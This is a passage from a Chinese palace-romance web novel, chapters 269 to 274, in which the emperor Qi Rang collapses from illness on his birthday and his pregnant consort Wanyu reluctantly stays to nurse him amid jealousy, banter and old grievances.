“好。”晚余点头,对他福了福身,径直向外走去,“胡尽忠在外面候着呢,不必劳烦小福子了。” 祁让见她说走就走,没有半分留恋,心中酸涩难言。 两个月不见,他还没来得及好好看一看她的变化,只觉得她腰身比从前丰腴一些, 那宽大袍服下的小腹也有了圆鼓鼓的形状。 想起刚刚掌心的胎动,他心中酸涩难言,真想不顾一切地追上去将她留下。 她走得那样快,那样毅然决然,仿佛迫不及待想要逃离。 他还没看清楚,她就已经走到了门口。 他看着她拉开门,风声夹裹着雨声涌入书房,龙案上的纸张被吹得上下翻飞。 胸腔似有热流翻涌,他只觉喉间一阵腥甜,眼前一黑,身子颓然往地上倒去。 第269章 娘娘可安好? 晚余一脚迈出门槛,听到里面传来一声沉闷的重物落地声。 她惊起回头,龙椅上已经没有了祁让的身影。 她心跳停了一瞬,转身往回走,同时颤声喊叫:“来人,快来人!” 小福子和胡尽忠都守在门外,闻声迅速跑了进来。 “快……”晚余扶着腰,指着龙案后面,“快……” 她急得说不出话,心里只有一个念头,祁让刚吃完她做的面就出事了,万一祁让死了,她肯定脱不了干系。 小福子和胡尽忠绕到龙案后面,见祁让面色蜡白,嘴角流血,倒在地上人事不省,顿时吓得魂飞魄散。 “皇上!皇上您怎么了?”小福子带着哭腔喊道。 胡尽忠跪在地上,壮着胆子伸手去探祁让的鼻息,口不择言道:“娘娘别怕,是活的,是活的……” 晚余松了口气,忙叫他们两个把祁让抬到隔间的榻上去,然后吩咐小福子去请太医,管束好乾清宫的人,先不要对外声张。 小福子领命而去。 晚余想了想,还是有些不放心,想到小文子也跟自己来了这边,便出去和他说了一声,叫他赶紧到司礼监去请徐清盏过来。 乾清宫有两名值守的太医,小福子出去没多久,两人便提着药箱匆匆而来。 一番望闻问切之后,说皇上这是急火攻心,引发了体内残毒,才会突然昏厥。 他们专职为祁让调理身体,常年备有应急的药物,立刻给他喂了几颗药丸下去,又扎了针,开了药方让人拿去煎煮。 晚余了解了病因,心下稍觉安慰。 不管怎样,总算赖不到她头上了。 徐清盏冒雨而来,衣裳都没来得及换,只在寝衣外面披了件袍子,进门看到晚余神情不安地坐在榻尾,紧张道:“娘娘可安好?” 晚余看到他,紧绷的身体松懈下来,红着眼睛点了点头:“有劳掌印挂心,本宫没事。” 徐清盏这才看向躺在榻上昏迷不醒的祁让:“皇上这是怎么了?” 太医又把刚才的话和他复述了一遍。 徐清盏问有没有大碍。 太医说还好,不是太严重。 徐清盏轻轻呼出一口气,转头又对晚余说:“臣已经让人严密把守乾清宫各处宫门,娘娘不必担心。” 晚余已经两个月没见过他,听他一口一个娘娘的叫着自己,不由得悲从中来,几乎要忍不住眼泪。 “有劳掌印了。”她哽咽说道,“本宫没经过事,适才一时乱了方寸,这才让人请你过来。” “娘娘做得对。”徐清盏温声安抚,“娘娘好生回去歇息,剩下的臣自会安排。” 晚余点点头,起身要走,小福子扑通一声跪在了她面前。 “娘娘能不能先别走,师父挨了杖刑,不能前来服侍,奴才一个人应付不来,求娘娘和胡大总管留下来帮衬一二,好歹等皇上醒了再走。” “是啊娘娘,皇上昏迷不醒,身边不能没有一个妃嫔照料。”太医也跟着相劝,“这风大雨大的,叫别的妃嫔过来也不方便,娘娘冒雨回去也很危险,不如再等一等,等天亮了雨停了再走方才稳妥。” “这……”晚余看了徐清盏一眼。 徐清盏说:“外面雷雨交加的,娘娘这会子回去确实不安全,不如就先等一等吧,臣在这里陪着娘娘。” “那好吧,那本宫就再等一等。” 晚余松了口,对胡尽忠吩咐道,“乾清宫的事务你熟悉,眼下孙总管行动不便,你就帮着小福子照应照应吧!” 胡尽忠从前做梦都想顶替孙良言,眼下终于有了顶替他的机会,却又老大不情愿。 板着脸拿腔拿调地敲打小福子:“你小子,以前可没少帮你师父挤兑咱家,这会子倒想起咱家的好处来了。” 小福子挠头讪笑,对他伸手作请:“大总管言重了,小的没有,小的可尊重您了,您请,您这边请!” 胡尽忠哼了一声,鼻孔朝天地跟着他出去了。 皇帝的书房是军机重地,两个太医交代了注意事项,就退到门外等候。 徐清盏倒了一盏热茶给晚余暖手,搬了一把椅子在她对面坐下:“孙良言还没老呢,怎么就糊涂了,这样的天气,他居然叫你过来,二十板子真是便宜他了。” 晚余握着茶盏,转头看了眼昏睡中的祁让,小声道:“今天,是皇上的生辰。” 徐清盏微怔,恍然大悟地哦了一声。 当年祁让出生的时候,正是夏秋相交之际,天气阴晴不定。 祁望在他之前降生,当时晴空万里。 等到他落地的时候,突然就狂风大作,雷电交加,大雨下了三天三夜没停,好多地方都发了洪水,因此他才会被钦天监批为天煞孤星。 先帝将他母妃打入冷宫,把他交给别的妃嫔抚养,又说他的出生导致数十万人死于洪灾,在他有生之年,不许任何人为他庆贺生辰。 所以,他从小到大从来没过过生辰,即便后来当了皇帝,也不准别人提及他的生辰。 孙良言大约是心疼他,看他为灾情日夜操劳,茶饭不思,想让他在生辰这天能吃上一碗长寿面。 可孙良言这么会心疼人,怎么不自己去做,偏要小鱼顶风冒雨地跑过来? 一个生辰而已,难道比小鱼的肚子还要紧吗? 徐清盏表示不屑,冷哼一声道:“他忠于皇上没错,但未免太自以为是,他总叫别人不要揣度圣心,自己却做不到。 但愿今天这顿板子能叫他清醒过来,否则,这大总管的位子真不如给胡尽忠坐。” 晚余笑起来:“可别,胡尽忠刚歇了这份心思,你这话可千万别在他面前说。” 徐清盏也笑了,意味深长地瞥了眼晚余的肚子:“他就等着将来做胡大伴也不错。” 晚余忙看了祁让一眼,谨慎地摆了摆手:“别乱说,我更希望是个女孩呢!” “女孩也好,女孩没人惦记。” 徐清盏怕祁让随时会醒来,就转了话题,“淑妃这两个月闷坏了,最近时常向我打听长安什么时候回来,长安走的时候,她托长安给她带些鄯善甜瓜回来。” 晚余怔怔一刻,想问沈长安又没敢问,声音干涩道:“淑妃不是从家乡带了种子来种吗?” 徐清盏说:“她种的光长瓜蔓不结果,绿油油的倒是很好看。” “你去看了?”晚余问。 “嗯。”徐清盏点头,“去过几次。” 晚余哦了一声,往下也不知道该说些什么,只觉得这两个月恍如隔世。 徐清盏又隐晦道:“不用担心,她很快就能吃到鄯善甜瓜了。” 这话的意思是说沈长安很快就要回来了。 “那就好。”晚余思绪如潮水汹涌,却只能苦涩一笑。 下一刻,笑容蓦地收起。 祁让不知什么时候醒了过来,泛着血丝的凤眸正静静地看着他们两个。 第270章 可是今晚,他真的很需要她 晚余和徐清盏都吃了一惊,同时站起身来,又同时开口问道:“皇上醒了?” 祁让见他们连说话动作都一模一样,眼神便冷了几分:“朕醒的不是时候,打扰二位叙旧了。” 两人对视一眼,也不知他都听到了什么。 徐清盏笑着说:“皇上言重了,娘娘精神不济,臣就陪她闲聊了几句。” 精神不济? 祁让心里冷笑,他怎么听着她很是兴致勃勃呢? 晚余见他朝自己看过来,扶着腰说道:“皇上有没有哪里不舒服,臣妾去叫太医进来可好?” 祁让的目光落在她腰腹,到底还是忍了,哑着声道:“去吧,走路小心些。” 晚余心想自己还没到走路都要小心的月份,但也没纠正他,福身退了出去。 祁让望着她背影出了隔间,吩咐徐清盏把自己扶起来,随口问道:“朕昏厥的事都谁知道了?” 徐清盏扶他靠坐在床头,恭敬道:“回皇上的话,皇上一出事,贞妃娘娘就下令封锁了消息,让人传了臣过来,目前除了臣和乾清宫的人,暂时无人知晓。” 祁让多少有点意外,半晌说了句:“她倒是冷静,反应也快。” 徐清盏说:“娘娘虽为闺阁女子,但也心怀天下,知道皇上若病倒的话,势必引发前朝动荡,延误灾情救援事宜,所以很是谨慎。” 祁让冷笑:“关心则乱,她说到底还是不关心朕,所以才能保持冷静。 换了旁的妃嫔,只怕眼睛都哭肿了,她却像没事人一样,还惦记着鄯善甜瓜。” “……” 徐清盏听他这么说,就知道他听到了他们说沈长安要带鄯善甜瓜回来的话。 他说晚余惦记鄯善甜瓜,实则是说晚余惦记沈长安的意思。 徐清盏笑了笑,避重就轻地回道:“为皇上流泪的妃嫔很多,为大局考虑的能有几人? 换了旁的妃嫔,皇上只怕又瞧不上呢!” “……”祁让语塞,冷冷睨了他一眼,“你只管为她说好话吧,她在你眼里就没有不好的地方。” “皇上不也一样吗?”徐清盏说,“在皇上眼里,只怕她闹脾气也是好的。” 祁让哼了一声:“朕只是懒得和她计较。” 门外脚步声响,晚余领着太医走了回来。 两人便打住话头,沉默下来。 太医跪在榻前,为祁让诊过脉之后,说他虽然暂时没有大碍,但身体亏损严重,从现在起需要卧床静养,再不能操劳忧思,否则后果不堪设想。 祁让闻言很是不悦:“朕知道你们这些人惯会虚张声势,小病也要说成大病。 眼下这样的情形,你要朕卧床静养,你自己觉得现实吗? 你有这吓唬朕的功夫,不如开些见效快的药来,别耽误朕明日早朝才是正经。” 太医忙伏地叩首:“皇上息怒,微臣没有乱说,皇上的病也不是小病,起码要卧床三五日才行,早朝是断断不能再上的。” “那怎么办,你替朕上吗?”祁让越发不悦,语气也严厉起来。 “……”太医吓出一身冷汗,求助地看向晚余。 晚余只得道:“他是太医,不是神仙,皇上何苦为难他? 俗话说磨刀不误砍柴工,皇上就当明日休沐,那些不要紧的事情,由各部官员自己酌情处理,灾情的事就让他们到这边来与皇上商讨,如此不就解决了吗?” “对对对对……”太医连声附和,“虽然这样皇上仍免不了费神,但不失为一个折中的好法子。” 祁让看了晚余一眼,一脸不想采纳的神情。 徐清盏跟着劝了一句:“眼下这情形,也只能如此了,皇上切莫意气用事。” 祁让妥协道:“既如此,你便去传旨吧,只说因为暴雨,明日罢朝一日,不要提及朕的病情。” “是。”徐清盏领命告退,临走又嘱咐晚余,“娘娘也要保重身体。” “好,我知道了。”晚余应声道,“外面风大雨大,你素有咳疾,自个也要小心。” “多谢娘娘关心。”徐清盏道谢,躬身退了出去。 祁让的视线在两人身上扫来扫去,心中冷笑连连。 道个别就有这许多的话说,再说下去,只怕天就要亮了。 恰好这时,素锦送来了汤药,他便将那些酸溜溜的话咽了回去。 晚余接过药碗,因着许久不见素锦,就和她寒暄了几句,又捎带着问了问雪盈的近况。 素锦说雪盈再有几个月就要出宫了,她家人给她相看了一门亲事,双方都很满意,出去后就要成亲了。 晚余想起两人当初的约定,又是欣慰又是心酸。 不管怎样,她们两个总算有一个人是幸福的。 祁让冷眼看着晚余柔声细语的样子,心想这女人跟谁都能和颜悦色,唯独不肯那样对他。 等到素锦走后,晚余端着药到床前,把药碗递给他:“皇上喝药吧,小心烫。” 祁让没接,幽幽道:“你再和别人聊一会儿,只怕药都凉透了。” “……”晚余看在他是病人的份上不与他计较,把碗送到自己嘴边,“臣妾替皇上尝一尝。” “你做什么?”祁让立时坐直了身子,伸手夺过药碗,“你是孕妇,什么药都能随便尝的吗?” 他一口气把药喝了,又把空碗递还给晚余,咂巴着苦涩的药味,语气颇为不满:“你是不是从来没把自己的肚子当回事,这个孩子对你来说就这么不重要吗?” 晚余端着空碗,定定看他,半晌才道:“本来就是皇上想要的,对皇上重要不就行了。” 祁让噎住,差点没被她气得再度昏厥。 眼见风雨不停,便叫人又抬了一张榻过来,和他那张并排放在一起,中间隔了一条几案的距离,叫晚余上去休息。 晚余确实有些乏累,既然暂时回不去,只能将就着先睡一觉再说。 这里是书房,她又怀着身孕,不用担心祁让会把她怎么样,躺下没多久就睡了过去。 祁让却睡不着,看着她拥被而眠的恬静睡颜,心想她就这么睡了,把自己这个病人撂在一旁,连一句“皇上有事叫我”都没说。 谁家妃嫔侍疾像她这样? 罢了罢了,谁叫她是孕妇呢! 这么大的雨,她能来这一趟,已经是仁至义尽了。 她若狠心不来,孙良言也不能奈她何。 所以,她心里还是关心他的吧? 哪怕不多,好歹总有那么一点点。 她还让他摸了孩子呢! 他攥了攥手指,回味着掌心被孩子撞到的感觉,心里酸酸的,又软软的。 那是孩子的小手还是小脚? 感觉还挺有劲儿的。 将来肯定是个健康活泼的孩子。 他想着想着,不禁心痒难耐,悄悄下榻走过去,钻进了晚余的被窝。 床榻很小,他侧着身子,将母子二人拥入怀中。 掌心覆上晚余那圆鼓鼓的肚子的一瞬间,他的眼泪险些流出来。 整个世界都在这一刻安静下来,外面的风声雨声也变得温柔缱绻,仿佛催眠的乐曲。 他知道他是皇帝,不该沉溺于儿女情长。 可是今晚,他真的很需要她。 今天是他的生辰,就当这是他从小到大唯一的生辰礼物吧! 﨔 第271章 你能不能别走? 晚余一觉醒来,发现天光大亮。 旁边的床榻空空荡荡,祁让不知去了哪里。 说好的今天不上朝的,难不成他又偷偷去了? 晚余披衣下床,打算出去问问。 谁知,一拉开隔间的门,看到的竟是祁让和七八个身穿官袍的人小声说话的情形。 晚余愣在那里,来不及做出反应,七八双眼睛已经同时向她这边看过来。 晚余顿时涨红了脸。 那几个官员的脸比她还要红。 双方都很手足无措。 祁让坐在龙案后面,看着晚余披头散发,衣衫不整,一脸惊慌的模样,忙起身从龙案后面绕出来,对那几个人说了声“你们继续”,快步走到晚余跟前,揽着她回到隔间,把门重新关了起来。 晚余傻愣愣地看着他,痴了一样。 祁让低笑出声,唇角弯出戏谑的弧度,幽深凤眸里半是揶揄半是宠溺:“贞妃娘娘什么样的阵仗没见过,这点小事就把您吓着了?” 晚余的脸已经红得快要滴出血来:“皇上是嫌臣妾不够丢人吗? 让那些大臣们发现臣妾歇在南书房也就算了,还是这样一副鬼样子被他们看见。 这要是传出来,臣妾这脸可要丢得天下皆知了。” 祁让难得见到她这样羞涩娇嗔的样子,眼底笑意更浓,伸手在她脸上捏了一把:“怎么就是鬼样子了,朕的爱妃绝色倾城,蓬头垢面也比他们家的媳妇好看。” 晚余愠怒地拂开他的手:“皇上休要胡言,这是好不好看的问题吗?” 祁让见她恼了,便敛了笑容哄她:“好了好了,朕会告诫他们,不让他们往外说的。” 晚余还是很难为情:“皇上和大人们议事怎么还偷偷摸摸,但凡你们大点声,臣妾也不会听不见。” “朕错了,朕是怕吵到你睡觉,谁知弄巧成拙了。”祁让颇有耐心地向她道歉。 晚余见他认错认得这样爽快,也不好再多说什么,但仍旧觉得丢人。 祁让扶她回榻上坐着:“你再略等一等,朕这就完事儿了,等他们走了,就让人进来服侍你更衣,然后咱们一起用早膳。” 晚余说:“正事要紧,用膳倒也不急。” “那不行,饿着朕的孩子怎么办?”祁让弯腰拍了拍她的肚子,“这孩子昨晚动了好几回,说不定早就饿了。” 晚余顿时瞪大眼睛,警惕地看着他:“皇上怎么知道的?” 祁让意识到自己说漏了嘴,转身便走:“你先坐着,朕去去就来。” “哎……”晚余只来得及叫了一声,他已经打开门逃了出去。 半个时辰后,晚余收拾妥当,两人到饭厅用早膳。 祁让唯恐晚余揪着他先前说漏嘴的事不放,便主动说起了开封的灾情。 “目前那边的雨是停了,但冲垮的堤坝一时还堵不住,朕和几位大臣商议了多种方案,但大多都是治标不治本。 朕想着等这边的雨也停了,就亲自到开封去瞧瞧,纸上谈兵终究没有实地操作来得严谨。” 晚余吃了一惊,下意识劝了一句:“天子出行不是嘴上说说那么简单的事,无论出于哪方面,皇上都要慎重考量。” 祁让说:“只要安排妥当,也没什么好担心的,上回去南崖禅院,朕说走就走了……” 说到这里觉得不妥,想收回已经晚了。 晚余听到南崖禅院这四个字,神情便黯淡下来。 如果说她那时冷宫出逃是美梦的开始,南崖禅院就是又一场噩梦的开端。 她永远都忘不了,当她打开禅房的门,看到祁让和满院子黑压压的兵士时的情形。 那一夜,火把照亮了半边天,她却如同堕入了黑暗的深渊。 饭厅里安静下来,气氛一时凝滞。 晚余放下筷子站起来:“雨小了,臣妾这就回去了,皇上要听太医的话,好好保重龙体。” “别……”祁让随即起身,抓住了她的手腕。 晚余停下来看着他。 祁让又不知道该说什么,憋了半天,只道:“朕还没好呢,你就不管朕了吗?” 晚余笑了笑:“臣妾有孕在身,不能服侍皇上,皇上若需要妃嫔侍疾,不如另选旁人,或者让大家轮流着来也行!” “朕不要她们,朕就要你。”祁让说,“朕也不需要你服侍,你就在这里,让朕能看见你和孩子就好。” 他拽着晚余的手腕,把她往怀里拽,眼尾泛红,神情哀伤:“还有几个月你就要走了,咱们就像寻常夫妻一样,不吵不闹,安安生生把这几个月过完不行吗? 这样即便有一天你走了,总还有一段好时光可以回忆,将来孩子问起来的时候,朕也不会无话可说。” 晚余定定看他,半晌没有开口,眼底蒙上一层薄薄的雾气。 “皇上给我喝假避子汤的那一刻开始,就已经注定没法和孩子交代了,不管他知不知道真相,他都是从欺骗中来的。” 她用力扒开他的手,转身的瞬间,眼泪无声滑落。 祁让心如刀绞,低头看着空空的掌心,一滴血突然滴落下来,顺着他掌心的纹路蔓延开来。 “皇上!娘娘!”小福子惊呼出声。 晚余回头看了一眼,就见祁让低着头,消瘦的身形摇摇晃晃,鲜血从他鼻子里流出来,一滴一滴落在他摊开的掌心。 晚余连忙走回去,掏出帕子,想要帮他擦一擦,手腕却被他再次抓住。 “别走!”祁让用尽全身的力气,死死抓住她,仿佛想要抓住生命中最后一点光亮,“别走,晚余,你能不能别走?” 﨔 第272章 像是在交代后事 晚余感觉到手腕处那股殊死般的力道,迟疑着没有应声。 她知道此时此刻的祁让是真心的,也知道自己此时此刻离开是多么绝情的行为。 但她又觉得自己这时候不该心软,心软的后果,只会换来一次次没有底线的妥协。 这一次被抓住的是她的手,下一次被抓住的,可能就是她后半生的自由。 她被这两种情绪撕扯着,有种身和心都要被撕成两半的痛苦。 她不明白,为什么上天总是要让她面临这样两难的抉择。 她明明已经脆弱到一根稻草就能压垮,为什么上天却要用最残酷的方式来考验她? 她非得是坚强的吗? 她非得是被牺牲掉的那一个吗? “娘娘!”小福子哭着跪倒在她面前,“奴才知道娘娘心里的苦,奴才也不是非要委屈娘娘,逼娘娘让步。 只是眼下这局势,皇上若真有个三长两短,对娘娘也是没有任何好处的。 后宫那么多人对娘娘虎视眈眈,皇上一旦倒下,娘娘再想偏安一隅都是奢望。 到那时,娘娘和小主子只怕都是别人砧板上的肉,哪里还有全身而退的可能? 娘娘即便不为了皇上,为了自己和小主子,也请再委曲求全一回吧,奴才给您磕头了!” 他趴伏于地,额头一下一下磕在冷硬的地砖上,很快便磕出了血。 晚余看着他,心想他不过一个奴才,这一切原本与他无关,他这样又是为了什么呢? 可能每个人都有自己的使命吧,即便卑微如蝼蚁,也有他该做的事情。 “罢了,你别磕了,去传太医吧!”晚余说道。 小福子顶着一脑门的血欢喜抬头:“娘娘不走了是吗?” 晚余动了动被祁让死死攥住的手腕。 这时候要想走,恐怕只有两个选择,要么砍断自己的手,要么砍断祁让的手。 事情还没到这种血淋淋的地步,她故且再多留一时吧! 毕竟小福子说得也没错,祁让这会子倒下的话,她想全身而退也是不能够的。 不管她想与不想,承不承认,她和孩子的命,都和祁让息息相关,如同祁让的命和这个王朝息息相关一样。 剪不断,理还乱,大约便是如此了。 一番折腾之后,祁让被送回了寝殿的龙床上。 等他神智清醒些的时候,晚余对他提出要求:“臣妾可以留下来为皇上侍疾,等皇上病体康复之后再走, 但皇上必须在寝殿卧床静养,谨遵医嘱,按时吃饭吃药,三日内不许上早朝,也不许去南书房。 凡有官员奏事,皇上就在东暖阁里接见,每次不得超过半个时辰, 其余不牵涉朝政的日常小事,都要听从臣妾安排,皇上能做到吗?” 祁让靠在软枕上,眼睛一眨不眨地看着她,仿佛眨一下眼她就会变成蝶蝶飞走似的。 “别的也就算了,你不让朕去书房,那些奏折怎么办?”他虚弱地问道。 “不是还有内阁和司礼监吗?”晚余说,“臣妾知道皇上不想走先帝的老路,怕内阁权势过大架空皇权,但皇上只是暂时让他们代劳几天,况且还有司礼监与他们两相制衡。 徐清盏执掌大印,所有奏折都要他盖章才能生效,他与朝中官员素无往来,无党无派,皇上不必担心他会有失偏颇。 几日的功夫,不至于乱套,皇上甚至可以将这几天当作对某些人的考验,谁有野心谁没野心,皇上心里也好有个数,如此岂非一举两得?” 她一口气说完,屈膝跪在地上:“后宫不得干政,但臣妾的建议全是为了皇上的身体着想,皇上若觉不妥,不予采纳便是,请皇上恕罪。” 殿中有片刻的寂静。 祁让的目光在晚余脸上流连,神情看不出喜怒。 后宫不得干政,是怕她们目的不纯。 但他知道,晚余说这些话没有别的目的,就是单纯为了他的身体着想。 为他身体着想的目的也很单纯,就是单纯地想他快些好,她也好快些回去。 她嘴上说着为他好的话,跪在地上的姿态却恭敬而疏离,疏离到仿佛昨夜今晨那短暂的温情是他的幻觉。 "起来吧!"祁让压下心中翻涌的思绪,嗓音沙哑中带着些许落寞,"你的话,朕都准了。" 晚余睫毛轻颤,没想到他会答应得这样痛快,道了谢起身走到床前想扶他躺下:“皇上既然答应了,就好生歇着吧,臣妾去看看药好了没有。” 祁让说:“这种事何需劳动你,好了他们自然会送过来的,你就在这里陪着朕,哪都不要去。” 他往里面挪了挪,拍着金丝软枕道:“过来靠一会儿,别累着孩子,咱们随便说说话。” 晚余没有听他的,只在床沿坐了下来:“大白天靠在一起不像话,臣妾就在这坐着,皇上想说什么就说吧,臣妾听着呢!” 祁让不免有些失望,又不敢强迫她,便侧着身屈起手臂托着头看她: “你不跟朕闹别扭的时候还是很聪明的,头脑清晰,认知明确,也有大局观,假如朕哪天突然走了,你带着孩子垂帘听政也不是不行。” 晚余心里咯噔一下,差点从床上跳下去:“皇上在说什么,皇上是要折煞臣妾吗?” “别动,朕说了是随便说说。” 祁让摁住她的手,脸上甚至带了些笑意,“朕知道你没有野心,志不在此,可若真到了那时候,你还能怎么办? 你有孩子,有沈长安和徐清盏相助,稳定朝堂是没问题的……” “皇上!”晚余提高了声音叫他,心里不知怎的有点发慌。 他这哪里是随便说说,听起来简直就像交代后事。 这也太吓人了。 “皇上不要再说了,您再说下去,臣妾就不敢待下去了。 皇上昨天才过了二十五岁的生辰,哪里就到了考虑这种事情的地步? 况且孩子还在肚子里,是男是女尚未可知,皇上怎么能开这样的玩笑? 退一万步说,就算将来生了男孩,臣妾也从未想过要让这孩子有什么大出息。 更是从来没动过让沈长安和徐清盏辅佐孩子的念头。 皇上若存心试探,这就是臣妾的心里话。 皇上若只是玩笑,那这玩笑以后不开也罢! 臣妾和孩子,沈长安和徐清盏,都承受不起。” 﨔 第273章 他的病不会是装的吧? 晚余说着话又要起身往地上跪,被祁让一把拉住。 “你看你,朕不过随口一说,你怎么就吓成这样? 好了好了,你不想听,朕不说就是了,别动来动去的,再动了胎气。” 晚余脸色有些发白,嗔怪地看他:“便是动了胎气,也是被皇上的话吓出来的。” 她刚刚并没有作假,而是真真切切感到了害怕。 一来是怕祁让真不行了,她和孩子立马就会被卷入血雨腥风之中。 二来是怕祁让疑心沈长安和徐清盏,从现在开始就防着他们两个。 天地良心,他们三个真的从未往这方面想过,可架不住祁让疑心重,非要往这方面猜。 倘若真因为这个孩子,叫沈长安和徐清盏被祁让忌惮,她真的不知该如何是好了。 祁让见她脸都白了,不免有些懊悔,坐起身来,将她搂进怀里轻拍:“好了好了,朕以后再不说了,好人不长命,祸害遗千年,朕这样的,打个对折也要活五百年的,现在想那些确实太远了。” 晚余没忍住,噗嗤笑出声来。 祁让疑心自己听错了,握住她双肩往她脸上看。 可那笑比昙花一现还要短暂,等他看时,已然消失,只有那弯起的水眸还残留些许涟漪。 祁让失神地望着她的双眼,片刻后,连那一点涟漪也不见了。 他很想问问她,她吓成那样,是舍不得他死,还是怕他动沈长安和徐清盏? 然而,话到嘴边,他却没有问出口。 真正的答案,她不说,他也能猜到。 问了等于自讨没趣,还会破坏这难得的时光。 万一把她气走了,下次不知什么时候再见。 算了。 他失落地叹了口气:“五百年太长了,到时候你们都走了,余下的四百年就剩朕一个人,也怪没意思的。” “……”晚余不知他今日哪来这么多感伤,心想可能生病的人都爱胡思乱想吧? 她不想由着他想下去,便强行转换话题道:“胡尽忠前两天给臣妾讲了一个故事很有趣,臣妾说给皇上听吧?” “好,你说。”祁让靠回到床头,一副兴致勃勃,洗耳恭听的模样。 晚余想了想,就和他讲起来。 讲到一半卡了壳,竟把剩下的给忘了。 祁让本来一点都没听出哪里有趣,见她这样,反倒哈哈大笑起来。 晚余尴尬地挠了挠头:“都说一孕傻三年,臣妾的脑子现在就已经不够用了吗?” 祁让笑看着她,只觉得这一刻的她无比鲜活,无比生动。 “晚余……”他叫了她一声,心里酸酸胀胀的,有什么东西将要满溢出来。 晚余看着他,等着他说话,他却又不知该说什么。 门外响起脚步声,素锦端着托盘站在门口:“皇上,娘娘,药好了。” “进来吧!”晚余连忙从床上下来,明明什么也没做,脸却有些发烫。 祁让也收起了笑容,清了清嗓子,一本正经地靠在床头,仿佛刚刚那个开怀大笑的人不是他。 素锦把两碗药放在床头的几案上,细心交代道:“青玉碗里是皇上的药,白玉碗里是娘娘的安胎药,千万不要弄混了,还有这一碟子蜜枣,是紫苏姐姐特地送来给娘娘吃的。” “好,辛苦你了。”晚余笑着交代她,“你和紫苏说一声,我在这里一切都好,叫她不要挂念,把承乾宫那边照看好。” “奴婢记下了。”素锦福身一礼,告退出去。 祁让静静看着晚余,问出心里长久以来的疑问:“怎么你和别人说话都是带着笑的,一和朕说话就板着脸?” 晚余自个都没注意,被他一问,脸上的笑容瞬间消失。 “臣妾也不知道,可能是习惯吧,皇上是君王,在您面前自然不能嬉皮笑脸。” 祁让嫌她这答案太敷衍:“朕不止是君王,还是你男人。” “……”这话叫晚余很是无语,端起药碗道,“皇上快喝药吧!” 祁让看看她手里的青玉碗:“素锦方才说哪一碗是朕的?” 晚余愣了下:“青玉碗是皇上的,白玉碗是臣妾的,不对吗?” 祁让叹口气:“看来一孕傻三年是真的了。” “啊?臣妾记错了?”晚余尴尬一笑,连忙放下青玉碗,把白玉碗端起来递给他。 祁让眉梢轻扬,唇角弯起戏谑的弧度:“你这么相信朕吗?” “……”晚余被他弄糊涂了,“到底是哪一碗?” “青的,傻子。”祁让揶揄道,“朕刚刚那个垂帘听政的话真的只是随口一说,你可千万别当真了,你这脑子朕不放心。” 晚余意识到自己被他戏耍,气得垮下脸:“皇上可弄清楚了,万一错喝了臣妾的安胎药,可是一辈子的笑料。” 祁让笑得眼睛都弯起来,床头的帐子跟着一晃一晃的。 晚余从没见过这样的他,一时又气又恼,又拿他没奈何。 “臣妾也收回刚才的话,皇上这样子上朝完全没问题,您还是去上朝吧,臣妾回承乾宫去。”她放下药碗说道。 “那不行。”祁让正色道,“你说了,朕也准了,这事就不能再改了。” “……” 晚余没想到他居然耍起了无赖,越发觉得自己上了他的当。 他的病不会是装的吧? 可他又是吐血又是流鼻血的,应该也装不出来吧? “皇上快喝药吧,再不喝就凉了。”晚余重新端起青玉碗,神情严肃地说道,决定从现在开始不再给他好脸色,免得他没完没了的戏耍自己。 祁让撑着身子想要坐起来,坐到一半又跌回到靠枕上:“朕没力气,头晕,手也抖,你来喂朕吧!" 这个要求晚余没法拒绝,端起药碗坐到床沿,舀起一勺药,递到他唇边。 祁让一口喝下,苦得皱起眉头。 “很苦是吧?”晚余说,“皇上不如就着碗大口喝,还能少受些罪。” “不。”祁让反对,“你别管,接着喂。” 晚余只得一勺一勺的喂。 祁让一勺一勺的喝。 苦涩的滋味在唇齿间弥漫,他却甘之如饴。 苦就苦点吧,等将来她走了,这样的苦都能变成回忆里的甜。 因为他们本也没有太多甜的回忆。 一碗药喂了几十下才喂完。 晚余觉得祁让是故意磋磨她。 放下药碗,活动了一下发酸的手腕,正要却端她自己那碗安胎药,祁让却抢先一步下床端了过去。 “来而不往非礼也,现在该朕喂你了。” 晚余:“……皇上不是头晕手抖吗?” “是啊,喝了药就好了。”祁让认真道。 晚余:“……” 骗子! 这个骗子! “快喝,再不喝就凉了。”祁让把药送到她嘴边。 晚余夺过碗,仰起头,咕咚咕咚一饮而尽,绝不给他捉弄自己的机会。 喝得太快,一滴药汁顺着唇角滑落,晚余的帕子还没掏出来,祁让突然凑过去,一只手扣住她后脑勺,凉薄的唇将那滴药汁吮了去。 晚余脑子轰的一声炸开,奋力推开了他:“皇上这是做什么?” “没什么。”祁让舔了下唇,笑得极不正经,“朕就是想尝尝安胎药是什么味道。” 晚余觉得这人真的疯了,涨红着脸转身就走。 她不要跟这个疯子在一起。 “皇上喝了药快歇息吧,臣妾去外间守着。” 祁让看着她仓皇逃离的背影,嘴角笑意渐渐苦涩。 他知道她在怕什么—— 怕这短暂的温情又是另一个陷阱,怕心软会换来更深的禁锢。 可他怕的,却是那不久之后的分别。 殿外雨声淅沥,宫檐的水滴滴答答落下来,一声一声,如同更漏计数着他们所剩无几的时光…… 﨔 第274章 朕没好,朕严重着呢! 晚余出去后,到殿外月台上站了一会儿。 雨已经快停了,风里带了些初秋的凉意,吹散了她脸上的燥热,也让她的心绪冷静下来。 恰好胡尽忠从右边廊庑过来,见她站在那里,哎呦了一声上前行礼:“还下着雨呢,娘娘怎么站在风口上,仔细着凉。” 说着转头去骂廊下值守的太监:“一个个的瞎眼睛,都不知道给娘娘撑把伞。” “别吵,这点小雨撑伞有什么意思?”晚余制止他,瞧他俨然一副御前大总管的派头,便笑着打趣他,“怎么样,这回是不是过足了瘾?” “嗐!”胡尽忠摇头晃脑道,“以前就是觉得大总管挺威风的,现在觉得也不过如此,奴才还是想回去绣花。” 晚余意外他竟然说出不过如此这样的话,不知道他是真的看开了,还是故意在自己面前装云淡风轻。 晚余没有细究,只笑笑道:“别急,等孙良言好了你就可以回去绣花了。” “娘娘呢?”胡尽忠问,“娘娘什么时候回去?” “我呀……”晚余回头往殿里看了一眼,“皇上好了就回。” “那奴才在这里陪着娘娘,娘娘几时回,奴才就几时回。” “好。”晚余点点头,还要说什么,孙良言从左边廊庑一瘸一拐地走了过来。 “哟哟哟,孙大总管……”胡尽忠夸张叫嚷,献殷勤似的跑过去搀扶,“孙大总管真是遭了老罪了,一把年纪还要被打屁股,瞧瞧,这可怜见的,二十板子真是太少了。” 孙良言一口老血堵在嗓子眼,瞪眼骂了一声“滚”,扬起拂尘就要抽他。 胡尽忠麻溜躲开:“哎,没打着。” 